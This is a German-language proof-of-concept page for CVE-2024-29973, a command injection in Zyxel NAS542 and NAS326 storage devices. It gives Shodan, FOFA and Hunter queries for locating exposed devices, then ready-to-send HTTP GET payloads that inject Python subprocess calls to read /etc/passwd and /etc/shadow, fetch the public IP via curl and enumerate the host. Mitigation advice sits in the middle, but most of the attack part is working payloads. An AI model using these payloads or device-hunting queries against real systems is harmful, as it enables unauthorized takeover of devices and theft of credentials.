
Proof-of-Concept-Exploit für CVE-2024-29973, eine Remote-Befehlsinjektion in Zyxel-NAS-Geräten, die die Ausführung beliebiger Befehle über manipulierte HTTP-Anfragen demonstriert.
CVE-2024-29973 ist eine kritische Schwachstelle, die in bestimmten Zyxel-Netzwerkgeräten gefunden wurde. Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebige Befehle auf dem Zielgerät auszuführen, indem unsachgemäße Eingabevalidierungsmechanismen in der Firmware ausgenutzt werden. Angreifer können speziell gestaltete HTTP-Anfragen an das Gerät senden, systemnahe Befehle injizieren und möglicherweise die volle Kontrolle über das Gerät erlangen.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
Befehlsinjektion: Die Schwachstelle entsteht durch unzureichende Eingabebereinigung in einer der Webschnittstellen des Geräts. Dieser Fehler ermöglicht es Angreifern, Betriebssystembefehle innerhalb von Parametern von HTTP-Anfragen anzuhängen.
Exploit-Beispiel: Angreifer können Befehle über eine HTTP-GET-Anfrage injizieren, wie die folgende, um beliebigen Code auszuführen:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
Auswirkung: Eine erfolgreiche Ausnutzung führt zur Möglichkeit, Systembefehle auszuführen, was potenziell zur Fernsteuerung des Geräts, Datenlecks oder weiterer Kompromittierung des Netzwerks führen kann.
Um die mit dieser Schwachstelle verbundenen Risiken zu mindern, befolgen Sie diese Schritte:
Firmware-Update: Stellen Sie sicher, dass alle Zyxel-Geräte auf die neueste Firmware-Version aktualisiert sind. Zyxel hat Patches veröffentlicht, die diese Schwachstelle beheben. Überprüfen Sie regelmäßig auf Updates und wenden Sie diese umgehend an.
Netzwerksegmentierung: Isolieren Sie anfällige Geräte von der kritischen Netzwerkinfrastruktur. Setzen Sie nur notwendige Dienste frei und stellen Sie sicher, dass administrative Schnittstellen nicht öffentlich zugänglich sind.
Firewall-Konfiguration: Beschränken Sie ein- und ausgehenden Datenverkehr nur auf wesentliche Dienste. Blockieren Sie unnötigen HTTP-Zugriff auf Zyxel-Geräte.
Überwachung auf verdächtige Aktivitäten: Implementieren Sie Protokollierungs- und Überwachungstools, die ungewöhnliches Verhalten erkennen und alarmieren können, wie wiederholte Anmeldeversuche oder abnormale Datenverkehrsmuster.
Referenzen National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1